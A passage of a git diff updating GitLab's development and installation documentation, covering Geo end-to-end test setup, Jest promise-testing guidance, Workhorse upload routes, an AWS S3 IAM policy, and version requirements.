Test::Integration::Geo EE --no-teardown + + # Using a specific GitLab release + gitlab-qa Test::Integration::Geo EE:13.0.10-ee.0 --no-teardown + + # Using a full image address + GITLAB_QA_ACCESS_TOKEN=your-token-here gitlab-qa Test::Integration::Geo registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:examplesha123456789 --no-teardown + ``` + + You can use the `--no-tests` option to build the containers only, and then run the [`EE::Scenario::Test::Geo` scenario](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa/qa/ee/scenario/test/geo.rb) from your GDK to complete setup and run tests. However, there might be configuration issues if your GDK and the containers are based on different GitLab versions. With the `--no-teardown` option, GitLab-QA uses the same GitLab version for the GitLab containers and the GitLab QA container used to configure the Geo setup. + +1. To visit the Geo sites in your browser, proxy requests to the hostnames used inside the containers. NGINX is used as the reverse proxy server for this example. + + _Map the hostnames to the local IP in `/etc/hosts` file on your machine:_ + + ```plaintext + 127.0.0.1 gitlab-primary.geo gitlab-secondary.geo + ``` + + _Note the assigned ports:_ + + ```shell + $ docker port gitlab-primary + + 80/tcp -> 0.0.0.0:32768 + + $ docker port gitlab-secondary + + 80/tcp -> 0.0.0.0:32769 + ``` + + _Configure the reverse proxy server with the assigned ports in `nginx.conf` file (usually found in `/usr/local/etc/nginx` on a Mac):_ + + ```plaintext + server { + server_name gitlab-primary.geo; + location / { + proxy_pass http://localhost:32768; # Change port to your assigned port + proxy_set_header Host gitlab-primary.geo; + } + } + + server { + server_name gitlab-secondary.geo; + location / { + proxy_pass http://localhost:32769; # Change port to your assigned port + proxy_set_header Host gitlab-secondary.geo; + } + } + ``` + + _Start or reload the reverse proxy server:_ + + ```shell + sudo nginx + # or + sudo nginx -s reload + ``` + +1. To run end-to-end tests from your local GDK, run the [`EE::Scenario::Test::Geo` scenario](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa/qa/ee/scenario/test/geo.rb) from the [`gitlab/qa/` directory](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa). Include `--without-setup` to skip the Geo configuration steps. + + ```shell + QA_DEBUG=true GITLAB_QA_ACCESS_TOKEN=[add token here] GITLAB_QA_ADMIN_ACCESS_TOKEN=[add token here] bundle exec bin/qa QA::EE::Scenario::Test::Geo \ + --primary-address http://gitlab-primary.geo \ + --secondary-address http://gitlab-secondary.geo \ + --without-setup + ``` + + If the containers need to be configured first (for example, if you used the `--no-tests` option in the previous step), run the `QA::EE::Scenario::Test::Geo scenario` as shown below to first do the Geo configuration steps, and then run Geo end-to-end tests. Make sure that `EE_LICENSE` is (still) defined in your shell session. + + ```shell + QA_DEBUG=true bundle exec bin/qa QA::EE::Scenario::Test::Geo \ + --primary-address http://gitlab-primary.geo \ + --primary-name gitlab-primary \ + --secondary-address http://gitlab-secondary.geo \ + --secondary-name gitlab-secondary + ``` + +1. Stop and remove containers + + ```shell + docker stop gitlab-primary gitlab-secondary + docker rm gitlab-primary gitlab-secondary + ``` + +#### Notes + +- You can find the full image address from a pipeline by [following these instructions](https://about.gitlab.com/handbook/engineering/quality/guidelines/tips-and-tricks/#running-gitlab-qa-pipeline-against-a-specific-gitlab-release). You might be prompted to set the `GITLAB_QA_ACCESS_TOKEN` variable if you specify the full image address. +- You can increase the wait time for replication by setting `GEO_MAX_FILE_REPLICATION_TIME` and `GEO_MAX_DB_REPLICATION_TIME`. The default is 120 seconds. +- To save time during tests, create a Personal Access Token with API access on the Geo primary node, and pass that value in as `GITLAB_QA_ACCESS_TOKEN` and `GITLAB_QA_ADMIN_ACCESS_TOKEN`. diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md index 83d03097466..30e78766dde 100644 --- a/doc/development/testing_guide/frontend_testing.md +++ b/doc/development/testing_guide/frontend_testing.md @@ -230,7 +230,7 @@ it('exists', () => { // Best // NOTE: both mount and shallowMount work as long as a DOM element is available - // Finds a properly formatted link with an accessable name of "Click Me" + // Finds a properly formatted link with an accessible name of "Click Me" getByRole(el, 'link', { name: /Click Me/i }) getByRole(el, 'link', { name: 'Click Me' }) // Finds any element with the text "Click Me" @@ -321,80 +321,56 @@ it('tests a promise', async () => { }); it('tests a promise rejection', async () => { - expect.assertions(1); - try { - await user.getUserName(1); - } catch (e) { - expect(e).toEqual({ - error: 'User with 1 not found.', - }); - } + await expect(user.getUserName(1)).rejects.toThrow('User with 1 not found.'); }); ``` -You can also work with Promise chains. In this case, you can make use of the `done` callback and `done.fail` in case an error occurred. Following are some examples: +You can also simply return a promise from the test function. + +NOTE: **Note:** +Using the `done` and `done.fail` callbacks is discouraged when working with +promises. They should only be used when testing callback-based code. **Bad**: ```javascript -// missing done callback +// missing return it('tests a promise', () => { promise.then(data => { expect(data).toBe(asExpected); }); }); -// missing catch -it('tests a promise', done => { - promise - .then(data => { - expect(data).toBe(asExpected); - }) - .then(done); -}); - -// use done.fail in asynchronous tests +// uses done/done.fail it('tests a promise', done => { promise .then(data => { expect(data).toBe(asExpected); }) .then(done) - .catch(fail); -}); - -// missing catch -it('tests a promise rejection', done => { - promise - .catch(error => { - expect(error).toBe(expectedError); - }) - .then(done); + .catch(done.fail); }); ``` **Good**: ```javascript -// handling success -it('tests a promise', done => { - promise +// verifying a resolved promise +it('tests a promise', () => { + return promise .then(data => { expect(data).toBe(asExpected); - }) - .then(done) - .catch(done.fail); + }); }); -// failure case -it('tests a promise rejection', done => { - promise - .then(done.fail) - .catch(error => { - expect(error).toBe(expectedError); - }) - .then(done) - .catch(done.fail); +// verifying a resolved promise using Jest's `resolves` matcher +it('tests a promise', () => { + return expect(promise).resolves.toBe(asExpected); +}); + +// verifying a rejected promise using Jest's `rejects` matcher +it('tests a promise rejection', () => { + return expect(promise).rejects.toThrow(expectedError); }); ``` diff --git a/doc/development/testing_guide/index.md b/doc/development/testing_guide/index.md index 0d470e0e737..a61a700594c 100644 --- a/doc/development/testing_guide/index.md +++ b/doc/development/testing_guide/index.md @@ -4,7 +4,7 @@ This document describes various guidelines and best practices for automated testing of the GitLab project. It is meant to be an _extension_ of the [thoughtbot testing -style guide](https://github.com/thoughtbot/guides/tree/master/style/testing). If +style guide](https://github.com/thoughtbot/guides/tree/master/testing-rspec). If this guide defines a rule that contradicts the thoughtbot guide, this guide takes precedence. Some guidelines may be repeated verbatim to stress their importance. diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md index 68816ccfe45..61d3299cabf 100644 --- a/doc/development/testing_guide/review_apps.md +++ b/doc/development/testing_guide/review_apps.md @@ -165,8 +165,11 @@ This will grant you the following permissions for: ### Log into my Review App -The default username is `root` and its password can be found in the 1Password -secure note named `gitlab-{ce,ee} Review App's root password`. +For GitLab Team Members only. If you want to sign in to the review app, review +the GitLab handbook information for the [shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams). + +- The default username is `root`. +- The password can be found in the 1Password secure note named `gitlab-{ce,ee} Review App's root password`. ### Enable a feature flag for my Review App diff --git a/doc/development/uploads.md b/doc/development/uploads.md index 0c8b712a001..ee94553c200 100644 --- a/doc/development/uploads.md +++ b/doc/development/uploads.md @@ -264,3 +264,77 @@ sequenceDiagram deactivate sidekiq end ``` + +## How to add a new upload route + +In this section, we'll describe how to add a new upload route [accelerated](#uploading-technologies) by Workhorse for [body and multipart](#upload-encodings) encoded uploads. + +Uploads routes belong to one of these categories: + +1. Rails controllers: uploads handled by Rails controllers. +1. Grape API: uploads handled by a Grape API endpoint. +1. GraphQL API: uploads handled by a GraphQL resolve function. In these cases, there is nothing else + to do apart from implementing the actual upload. + +### Update Workhorse for the new route + +For both the Rails controller and Grape API uploads, Workhorse has to be updated in order to get the +support for the new upload route. + +1. Open an new issue in the [Workhorse tracker](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/new) describing precisely the new upload route: + - The route's URL. + - The [upload encoding](#upload-encodings). + - If possible, provide a dump of the upload request. +1. Implement and get the MR merged for this issue above. +1. Ask the Maintainers of [Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to create a new release. You can do that in the MR + directly during the maintainer review or ask for it in the `#workhorse` Slack channel. +1. Bump the [Workhorse version file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_WORKHORSE_VERSION) + to the version you have from the previous points, or bump it in the same merge request that contains + the Rails changes (see [Implementing the new route with a Rails controller](#implementing-the-new-route-with-a-rails-controller) or [Implementing the new route with a Grape API endpoint](#implementing-the-new-route-with-a-grape-api-endpoint) below). + +### Implementing the new route with a Rails controller + +For a Rails controller upload, we usually have a [multipart](#upload-encodings) upload and there are a +few things to do: + +1. The upload is available under the parameter name you're using. For example, it could be an `artifact` + or a nested parameter such as `user[avatar]`. Let's say that we have the upload under the + `file` parameter, reading `params[:file]` should get you an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) instance. +1. Generally speaking, it's a good idea to check if the instance is from the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) class. For example, see how we checked +[that the parameter is indeed an `UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/commit/ea30fe8a71bf16ba07f1050ab4820607b5658719#51c0cc7a17b7f12c32bc41cfab3649ff2739b0eb_79_77). + +CAUTION: **Caution:** +**Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) +instance using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params` +passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) +instance that [`multipart.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/middleware/multipart.rb) +builds automatically for you. + +### Implementing the new route with a Grape API endpoint + +For a Grape API upload, we can have [body or a multipart](#upload-encodings) upload. Things are slightly more complicated: two endpoints are needed. One for the +Workhorse pre-upload authorization and one for accepting the upload metadata from Workhorse: + +1. Implement an endpoint with the URL + `/authorize` suffix that will: + - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the [API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb). + - Check user permissions. + - Set the status to `200` with `status 200`. + - Set the content type with `content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE`. + - Use your dedicated `Uploader` class (let's say that it's `FileUploader`) to build the response with `FileUploader.workhorse_authorize(params)`. +1. Implement the endpoint for the upload request that will: + - Require all the `UploadedFile` objects as parameters. + - For example, if we expect a single parameter `file` to be an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) instance, +use `requires :file, type: ::API::Validations::Types::WorkhorseFile`. + - Body upload requests have their upload available under the parameter `file`. + - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the +[API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb). + - Check the user permissions. + - The remaining code of the processing. This is where the code must be reading the parameter (for +our example, it would be `params[:file]`). + +CAUTION: **Caution:** +**Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) +object using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params` +passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) +object that [`multipart.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/middleware/multipart.rb) +builds automatically for you. diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md index e9d4ed8eaf6..7c99bcde413 100644 --- a/doc/development/what_requires_downtime.md +++ b/doc/development/what_requires_downtime.md @@ -30,14 +30,14 @@ places. This can be done by defining the columns to ignore. For example, to igno ```ruby class User < ApplicationRecord include IgnorableColumns - ignore_column :updated_at, remove_with: '12.7', remove_after: '2019-12-22' + ignore_column :updated_at, remove_with: '12.7', remove_after: '2020-01-22' end ``` Multiple columns can be ignored, too: ```ruby -ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2019-12-22' +ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2020-01-22' ``` We require indication of when it is safe to remove the column ignore with: @@ -45,7 +45,7 @@ We require indication of when it is safe to remove the column ignore with: - `remove_with`: set to a GitLab release typically two releases (M+2) after adding the column ignore. - `remove_after`: set to a date after which we consider it safe to remove the column - ignore, typically within the development cycle of release M+2. + ignore, typically last date of the development cycle of release M+2 - namely the release date. This information allows us to reason better about column ignores and makes sure we don't remove column ignores too early for both regular releases and deployments to GitLab.com. For diff --git a/doc/development/windows.md b/doc/development/windows.md index c92a468fad3..3301e4f7c8f 100644 --- a/doc/development/windows.md +++ b/doc/development/windows.md @@ -87,7 +87,7 @@ You should now be remoted into a Windows machine with a command prompt. - Start the runner: `gitlab-runner.exe start`. For more information, see [Install GitLab Runner on Windows](https://docs.gitlab.com/runner/install/windows.html) -and [Registering Runners](https://docs.gitlab.com/runner/register/index.html). +and [Registering runners](https://docs.gitlab.com/runner/register/index.html). ## Developer tips diff --git a/doc/getting-started/subscription.md b/doc/getting-started/subscription.md index 65999183d4a..8bcd11c20c8 100644 --- a/doc/getting-started/subscription.md +++ b/doc/getting-started/subscription.md @@ -1,3 +1,3 @@ --- redirect_to: '../subscriptions/index.md' ----
\ No newline at end of file +--- diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md index 929062102bb..f411ac769c0 100644 --- a/doc/gitlab-basics/create-project.md +++ b/doc/gitlab-basics/create-project.md @@ -63,7 +63,7 @@ There are two types of project templates: - [Built-in templates](#built-in-templates), sourced from the following groups: - [`project-templates`](https://gitlab.com/gitlab-org/project-templates) - [`pages`](https://gitlab.com/pages) -- [Custom project templates](#custom-project-templates-premium), for custom templates +- [Custom project templates](#custom-project-templates), for custom templates configured by GitLab administrators and users. #### Built-in templates diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md index fba0408e26b..2a59f10073f 100644 --- a/doc/gitlab-basics/create-your-ssh-keys.md +++ b/doc/gitlab-basics/create-your-ssh-keys.md @@ -7,8 +7,8 @@ type: howto # Create and add your SSH key pair -It is best practice to use [Git over SSH instead of Git over HTTP](https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols). -In order to use SSH, you will need to: +It's best practice to use [Git over SSH instead of Git over HTTP](https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols). +In order to use SSH, you need to: 1. Create an SSH key pair 1. Add your SSH public key to GitLab @@ -25,6 +25,6 @@ To add the SSH public key to GitLab, see [Adding an SSH key to your GitLab account](../ssh/README.md#adding-an-ssh-key-to-your-gitlab-account). NOTE: **Note:** -Once you add a key, you cannot edit it. If it didn't paste properly, it +Once you add a key, you can't edit it. If it did not paste properly, it [will not work](../ssh/README.md#testing-that-everything-is-set-up-correctly), and -you will need to remove the key from GitLab and try adding it again. +you need to remove the key from GitLab and try adding it again. diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md index 95b3a59ef6e..3812fd3b92a 100644 --- a/doc/gitlab-basics/start-using-git.md +++ b/doc/gitlab-basics/start-using-git.md @@ -1,10 +1,9 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: howto, tutorial description: "Introduction to using Git through the command line." -last_updated: 2020-06-30 --- # Start using Git on the command line diff --git a/doc/gitlab-geo/README.md b/doc/gitlab-geo/README.md index 30d21db7de5..67e919fc136 100644 --- a/doc/gitlab-geo/README.md +++ b/doc/gitlab-geo/README.md @@ -1,5 +1,5 @@ --- -redirect_to: '../administration/geo/replication/index.md' +redirect_to: '../administration/geo/index.md' --- -This document was moved to [another location](../administration/geo/replication/index.md). +This document was moved to [another location](../administration/geo/index.md). diff --git a/doc/gitlab-geo/database.md b/doc/gitlab-geo/database.md index b4156dc4ec6..2f68068d95b 100644 --- a/doc/gitlab-geo/database.md +++ b/doc/gitlab-geo/database.md @@ -1,5 +1,5 @@ --- -redirect_to: '../administration/geo/replication/database.md' +redirect_to: '../administration/geo/setup/database.md' --- -This document was moved to [another location](../administration/geo/replication/database.md). +This document was moved to [another location](../administration/geo/setup/database.md). diff --git a/doc/gitlab-geo/database_source.md b/doc/gitlab-geo/database_source.md index b4156dc4ec6..2f68068d95b 100644 --- a/doc/gitlab-geo/database_source.md +++ b/doc/gitlab-geo/database_source.md @@ -1,5 +1,5 @@ --- -redirect_to: '../administration/geo/replication/database.md' +redirect_to: '../administration/geo/setup/database.md' --- -This document was moved to [another location](../administration/geo/replication/database.md). +This document was moved to [another location](../administration/geo/setup/database.md). diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md index 92a4ce860c3..aba76ecf50e 100644 --- a/doc/install/aws/index.md +++ b/doc/install/aws/index.md @@ -68,28 +68,32 @@ As we'll be using [Amazon S3 object storage](#amazon-s3-object-storage), our EC2 1. Click **Create policy**, select the `JSON` tab, and add a policy. We want to [follow security best practices and grant _least privilege_](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege), giving our role only the permissions needed to perform the required actions. 1. Assuming you prefix the S3 bucket names with `gl-` as shown in the diagram, add the following policy: -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:AbortMultipartUpload", - "s3:CompleteMultipartUpload", - "s3:ListBucket", - "s3:PutObject", - "s3:GetObject", - "s3:DeleteObject", - "s3:PutObjectAcl" - ], - "Resource": [ - "arn:aws:s3:::gl-*/*" - ] - } - ] -} -``` + ```json + { "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "s3:PutObject", + "s3:GetObject", + "s3:DeleteObject", + "s3:PutObjectAcl" + ], + "Resource": "arn:aws:s3:::gl-*/*" + }, + { + "Effect": "Allow", + "Action": [ + "s3:ListBucket", + "s3:AbortMultipartUpload", + "s3:ListMultipartUploadParts", + "s3:ListBucketMultipartUploads" + ], + "Resource": "arn:aws:s3:::gl-*" + } + ] + } + ``` 1. Click **Review policy**, give your policy a name (we'll use `gl-s3-policy`), and click **Create policy**. @@ -714,10 +718,10 @@ For more information on how to set it up, visit the GitLab also has various [health check endpoints](../../user/admin_area/monitoring/health_check.md) that you can ping and get reports. -## GitLab Runners +## GitLab Runner If you want to take advantage of [GitLab CI/CD](../../ci/README.md), you have to -set up at least one [GitLab Runner](https://docs.gitlab.com/runner/). +set up at least one [runner](https://docs.gitlab.com/runner/). Read more on configuring an [autoscaling GitLab Runner on AWS](https://docs.gitlab.com/runner/configuration/runner_autoscale_aws/). @@ -795,7 +799,7 @@ to request additional material: - [Scaling GitLab](../../administration/reference_architectures/index.md): GitLab supports several different types of clustering. -- [Geo replication](../../administration/geo/replication/index.md): +- [Geo replication](../../administration/geo/index.md): Geo is the solution for widely distributed development teams. - [Omnibus GitLab](https://docs.gitlab.com/omnibus/) - Everything you need to know about administering your GitLab instance. diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md index 548c7d8c92e..b6e3025a0e0 100644 --- a/doc/install/azure/index.md +++ b/doc/install/azure/index.md @@ -1,15 +1,23 @@ --- +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers description: 'Learn how to spin up a pre-configured GitLab VM on Microsoft Azure.' type: howto --- # Install GitLab on Microsoft Azure -Azure is Microsoft's business cloud and GitLab is a pre-configured offering on the Azure Marketplace. -Hopefully, you aren't surprised to hear that Microsoft and Azure have embraced open source software -like Ubuntu, Red Hat Enterprise Linux, and of course - GitLab! This means that you can spin up a -pre-configured GitLab VM and have your very own private GitLab up and running in around 30 minutes. -Let's get started. +CAUTION: **Deprecated:** +The GitLab image in the Azure Marketplace is deprecated. You can track GitLab's +efforts to [post a new image](https://gitlab.com/gitlab-com/alliances/microsoft/gitlab-tracker/-/issues/2). + +Azure is Microsoft's business cloud and GitLab is a pre-configured offering on +the Azure Marketplace. Hopefully, you aren't surprised to hear that Microsoft +and Azure have embraced open source software like Ubuntu, Red Hat Enterprise Linux, +and of course - GitLab! This means that you can spin up a pre-configured +GitLab VM and have your very own private GitLab up and running in around 30 +minutes. Let's get started. ## Getting started @@ -419,7 +427,7 @@ Check out our other [Technical Articles](../../articles/index.md) or browse the ### Useful links - [GitLab Community Edition](https://about.gitlab.com/features/) -- [GitLab Enterprise Edition](https://about.gitlab.com/features/#ee-starter) +- [GitLab Enterprise Edition](https://about.gitlab.com/features/#ee) - [Microsoft Azure](https://azure.microsoft.com/en-us/) - [Azure - Free Account FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/) - [Azure - Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/) diff --git a/doc/install/docker.md b/doc/install/docker.md index e0cef71a4d8..c2d7655d526 100644 --- a/doc/install/docker.md +++ b/doc/install/docker.md @@ -6,18 +6,10 @@ type: index [Docker](https://www.docker.com) and container technology have been revolutionizing the software world for the past few years. They combine the performance and efficiency of native execution with the abstraction, security, and immutability of virtualization. -GitLab provides official Docker images allowing you to easily take advantage of the benefits of containerization while operating your GitLab instance. +GitLab provides official Docker images allowing you to easily take advantage of the benefits of containerization while operating your GitLab instance. A [complete usage guide](https://docs.gitlab.com/omnibus/docker/) for these images is available, as well as the [Dockerfile used for building the images](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/docker). -## Omnibus GitLab based images - -GitLab maintains a set of [official Docker images](https://hub.docker.com/u/gitlab) based on our [Omnibus GitLab package](https://docs.gitlab.com/omnibus/README.html). These images include: - -- [GitLab Community Edition](https://hub.docker.com/r/gitlab/gitlab-ce/) -- [GitLab Enterprise Edition](https://hub.docker.com/r/gitlab/gitlab-ee/) -- [GitLab Runner](https://hub.docker.com/r/gitlab/gitlab-runner/) - -A [complete usage guide](https://docs.gitlab.com/omnibus/docker/) to these images is available, as well as the [Dockerfile used for building the images](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/docker). +There's also a [Docker image for GitLab Runner](https://docs.gitlab.com/runner/install/docker.html). ## Cloud native images -GitLab is also working towards a [cloud native set of containers](https://docs.gitlab.com/charts/), with a single image for each component service. We intend for these images to eventually replace the [Omnibus GitLab based images](#omnibus-gitlab-based-images). +GitLab is also working towards a [cloud native set of containers](https://docs.gitlab.com/charts/), with a single image for each component service. diff --git a/doc/install/installation.md b/doc/install/installation.md index 7216f750624..e2c77073983 100644 --- a/doc/install/installation.md +++ b/doc/install/installation.md @@ -147,8 +147,7 @@ ldd $(command -v git) | grep pcre2 The output should contain `libpcre2-8.so.0`. -Is the system packaged Git too old, or not compiled with pcre2? -Remove it: +If the system packaged Git is too old or not compiled with `pcre2`, remove it: ```shell sudo apt-get remove git-core @@ -312,13 +311,20 @@ sudo adduser --disabled-login --gecos 'GitLab' git ## 6. Database NOTE: **Note:** -Starting from GitLab 12.1, only PostgreSQL is supported. Since GitLab 13.0, we require PostgreSQL 11+. +Starting from GitLab 12.1, only PostgreSQL is supported. Since GitLab 13.0, we [require PostgreSQL 11+](requirements.md#postgresql-requirements). 1. Install the database packages: ```shell sudo apt-get install -y postgresql postgresql-client libpq-dev postgresql-contrib ``` + +1. Verify the PostgreSQL version you have is supported by the version of GitLab you're + installing: + + ```shell + psql --version + ``` 1. Start the PostgreSQL service and confirm that the service is running: @@ -401,10 +407,11 @@ Starting from GitLab 12.1, only PostgreSQL is supported. Since GitLab 13.0, we r ## 7. Redis -GitLab requires at least Redis 5.0. +NOTE: **Note:** +See the [requirements page](requirements.md#redis-versions) for the minimum +Redis requirements. -If you are using Debian 10 or Ubuntu 20.04 and up, you can install -Redis 5.0 with: +Install Redis with: ```shell sudo apt-get install redis-server @@ -686,7 +693,7 @@ Next, make sure that Gitaly is configured: sudo chmod 0700 /home/git/gitlab/tmp/sockets/private sudo chown git /home/git/gitlab/tmp/sockets/private -# If you are using non-default settings you need to update config.toml +# If you are using non-default settings, you need to update config.toml cd /home/git/gitaly sudo -u git -H editor config.toml ``` @@ -740,7 +747,7 @@ Download the init script (is `/etc/init.d/gitlab`): sudo cp lib/support/init.d/gitlab /etc/init.d/gitlab ``` -And if you are installing with a non-default folder or user copy and edit the defaults file: +And if you are installing with a non-default folder or user, copy and edit the defaults file: ```shell sudo cp lib/support/init.d/gitlab.default.example /etc/default/gitlab @@ -937,7 +944,7 @@ See the [OmniAuth integration documentation](../integration/omniauth.md). ### Build your projects -GitLab can build your projects. To enable that feature, you need GitLab Runners to do that for you. +GitLab can build your projects. To enable that feature, you need runners to do that for you. See the [GitLab Runner section](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/#gitlab-runner) to install it. ### Adding your Trusted Proxies diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md index 4156d72097d..9e5a1e3d627 100644 --- a/doc/install/postgresql_extensions.md +++ b/doc/install/postgresql_extensions.md @@ -1,7 +1,3 @@ ---- -last_updated: 2020-09-01 ---- - # Managing PostgreSQL extensions This guide documents how to manage PostgreSQL extensions for installations with an external diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 10d5853c82e..da0128fecc3 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -12,7 +12,7 @@ as the hardware requirements that are needed to install and use GitLab. ### Supported Linux distributions - Ubuntu (16.04/18.04/20.04) -- Debian (8/9/10) +- Debian (9/10) - CentOS (6/7/8) - openSUSE (Leap 15.1/Enterprise Server 12.2) - Red Hat Enterprise Linux (please use the CentOS packages and instructions) @@ -61,8 +61,8 @@ From GitLab 13.1: ### Node.js versions -Beginning in GitLab 12.9, we only support node.js 10.13.0 or higher, and we have dropped -support for node.js 8. (node.js 6 support was dropped in GitLab 11.8) +Beginning in GitLab 12.9, we only support Node.js 10.13.0 or higher, and we have dropped +support for Node.js 8. (Node.js 6 support was dropped in GitLab 11.8) We recommend Node 12.x, as it's faster. @@ -74,9 +74,12 @@ a version older than `v10.13.0`, you need to update it to a newer version. You can find instructions to install from community maintained packages or compile from source at the [Node.js website](https://nodejs.org/en/download/). -## Redis versions +### Redis versions -GitLab requires Redis 5.0+. Beginning in GitLab 13.0, lower versions are not supported. +GitLab 13.0 and later requires Redis version 4.0 or higher. + +Redis version 5.0 or higher is recommended, as this is what ships with +[Omnibus GitLab](https://docs.gitlab.com/omnibus/) packages starting with GitLab 12.7. ## Hardware requirements @@ -137,7 +140,6 @@ We highly recommend users to use the minimum PostgreSQL versions specified below GitLab version | Minimum PostgreSQL version -|- 10.0 | 9.6 -12.10 | 11 13.0 | 11 You must also ensure the `pg_trgm` and `btree_gist` extensions are [loaded into every @@ -148,7 +150,7 @@ Support for [PostgreSQL 9.6 and 10 has been removed in GitLab 13.0](https://abou #### Additional requirements for GitLab Geo -If you're using [GitLab Geo](../administration/geo/replication/index.md): +If you're using [GitLab Geo](../administration/geo/index.md): - We strongly recommend running Omnibus-managed instances as they are actively developed and tested. We aim to be compatible with most external (not managed @@ -180,7 +182,7 @@ optimal settings for your infrastructure. ### Puma threads The recommended number of threads is dependent on several factors, including total memory, and use -of [legacy Rugged code](../development/gitaly.md#legacy-rugged-code). +of [legacy Rugged code](../administration/gitaly/index.md#direct-access-to-git-in-gitlab). - If the operating system has a maximum 2 GB of memory, the recommended number of threads is `1`. A higher value will result in excess swapping, and decrease performance. @@ -257,8 +259,6 @@ For reference, GitLab.com's [auto-scaling shared runner](../user/gitlab_com/inde CAUTION: **Caution:** With GitLab 13.0 (May 2020) we have removed official support for Internet Explorer 11. -With the release of GitLab 13.4 (September 2020) we will remove all code that supports Internet Explorer 11. -You can provide feedback [on this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/197987) or via your usual support channels. GitLab supports the following web browsers: @@ -270,7 +270,7 @@ GitLab supports the following web browsers: For the listed web browsers, GitLab supports: -- The current and previous major versions of browsers except Internet Explorer. +- The current and previous major versions of browsers. - The current minor version of a supported major version. NOTE: **Note:** diff --git a/doc/integration/README.md b/doc/integration/README.md index fdaff74ca58..c5c21644d1c 100644 --- a/doc/integration/README.md +++ b/doc/integration/README.md @@ -15,6 +15,7 @@ GitLab can be integrated with the following external issue trackers: - Jira - Redmine - Bugzilla +- EWM - YouTrack ## Authentication sources @@ -56,7 +57,7 @@ GitLab can be integrated with the following enhancements: - Configure [PlantUML](../administration/integration/plantuml.md) to use diagrams in AsciiDoc documents. - Attach merge requests to [Trello](trello_power_up.md) cards. - Enable integrated code intelligence powered by [Sourcegraph](sourcegraph.md). -- Add [Elasticsearch](elasticsearch.md) for [Advanced Global Search](../user/search/advanced_global_search.md), +- Add [Elasticsearch](elasticsearch.md) for [Advanced Search](../user/search/advanced_global_search.md), [Advanced System Search](../user/search/advanced_search_syntax.md), and faster searching. ## Integrations diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md index 67b256cc944..f40955ad8ff 100644 --- a/doc/integration/elasticsearch.md +++ b/doc/integration/elasticsearch.md @@ -1,43 +1,85 @@ +--- +type: reference +stage: Enablement +group: Global Search +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + # Elasticsearch integration **(STARTER ONLY)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109 "Elasticsearch Merge Request") in GitLab 